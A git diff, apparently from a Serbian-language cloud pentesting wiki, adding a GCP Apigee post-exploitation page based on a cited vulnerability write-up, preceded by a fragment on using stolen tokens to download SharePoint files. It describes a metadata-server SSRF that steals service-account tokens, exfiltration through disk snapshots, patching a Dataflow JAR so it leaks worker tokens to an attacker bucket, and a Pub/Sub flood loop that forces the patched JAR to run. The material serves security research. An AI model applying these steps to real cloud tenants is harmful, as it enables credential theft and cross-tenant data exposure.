sa generisanim tokenom: +Ako token ima dozvolu Sites.Read.All (iz Sharepoint), čak i ako ne možete da pristupite Sharepoint preko weba zbog MFA, moguće je koristiti token da pristupite fajlovima pomoću generisanog tokena: ```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` -## Reference +## Referencije - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md new file mode 100644 index 000000000..92ca0e8b1 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md @@ -0,0 +1,68 @@ +# GCP - Apigee Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Apigee metadata SSRF -> Dataflow cross-tenant pivot + +Jedan Apigee tenant projekat može biti zloupotrebljen da se dođe do Message Processor metadata servera, ukrade njegov service account i pivot u shared Dataflow analytics pipeline koji čita/piše cross-tenant buckets. + +### Expose the metadata server through Apigee + +- Podesite Apigee proxy target na `http://169.254.169.254` i zahtevajte tokene sa `/computeMetadata/v1/instance/service-accounts/default/token` koristeći `Metadata-Flavor: Google`. +- GCP metadata odbacuje zahteve koji sadrže `X-Forwarded-For`; Apigee ga dodaje po defaultu. Uklonite ga pomoću `AssignMessage` pre prosleđivanja: +```xml + + + +
+ + +true + +``` +### Enumerišite ukradeni Apigee service account + +- The leaked SA (Google-managed under `gcp-sa-apigee`) može se enumerisati alatima kao što su [gcpwn](https://github.com/NetSPI/gcpwn) za brzo testiranje dozvola. +- Primećene moćne dozvole uključivale su **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, i **Pub/Sub topic publish**. Osnovno otkrivanje: +```bash +gcloud compute disks list --project +``` +### Snapshot exfiltration for opaque managed services + +Sa pravima nad diskovima/snapshot-ima možete pregledati managed runtimes offline čak i ako ne možete da se prijavite u tenant project: + +1. Kreirajte snapshot ciljanog diska u tenant project-u. +2. Kopirajte/migrirajte snapshot u vaš projekat. +3. Rekreirajte disk iz snapshot-a i priključite ga na vaš VM. +4. Montirajte i pregledajte logove/konfig fajlove da povratite interne nazive bucket-a, service accounts i pipeline opcije. + +### Dataflow dependency replacement via writable staging bucket + +- Analytics workers preuzimali su JAR-ove iz GCS staging bucket-a pri pokretanju. Pošto je Apigee SA imao write na bucket, preuzmite i patch-ujte JAR (npr. sa Recaf) da pozove `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` i ukrade **Dataflow worker** token. +- Dataflow workers nisu imali internet egress; exfiltrate možete izvesti upisujući token u GCS bucket koji kontroliše napadač koristeći in-cluster GCP APIs. + +### Force malicious JAR execution by abusing autoscaling + +Postojeći workers neće reload-ovati zamenjene artefakte. Poplavite pipeline input da trigger-ujete nove workere: +```bash +for i in {1..5000}; do +gcloud pubsub topics publish apigee-analytics-notifications \ +--message "flood-$i" --project +done +``` +Nedavno provisionisane instance preuzimaju ispravljene JAR-ove i leak Dataflow SA token. + +### Greška u dizajnu cross-tenant bucket-a + +Decompilovani Dataflow kod je prikazao putanje keša kao `revenue/edge//tenant2TenantGroupCacheDir` u zajedničkom metadata bucket-u, bez bilo kakve komponente specifične za tenant. Sa Dataflow tokenom možete čitati i pisati: + +- `tenantToTenantGroup` keševi koji otkrivaju nazive projekata i okruženja drugih tenant-a. +- `customFields` i `datastores` folderi koji sadrže analitiku po zahtevu (uključujući IP krajnjih korisnika i plaintext access tokene) za sve tenant-e. +- Pristup za pisanje omogućava potencijalnu manipulaciju ili trovanje analitike. + +## References + +- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/) +- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy) + +{{#include ../../../banners/hacktricks-training.md}}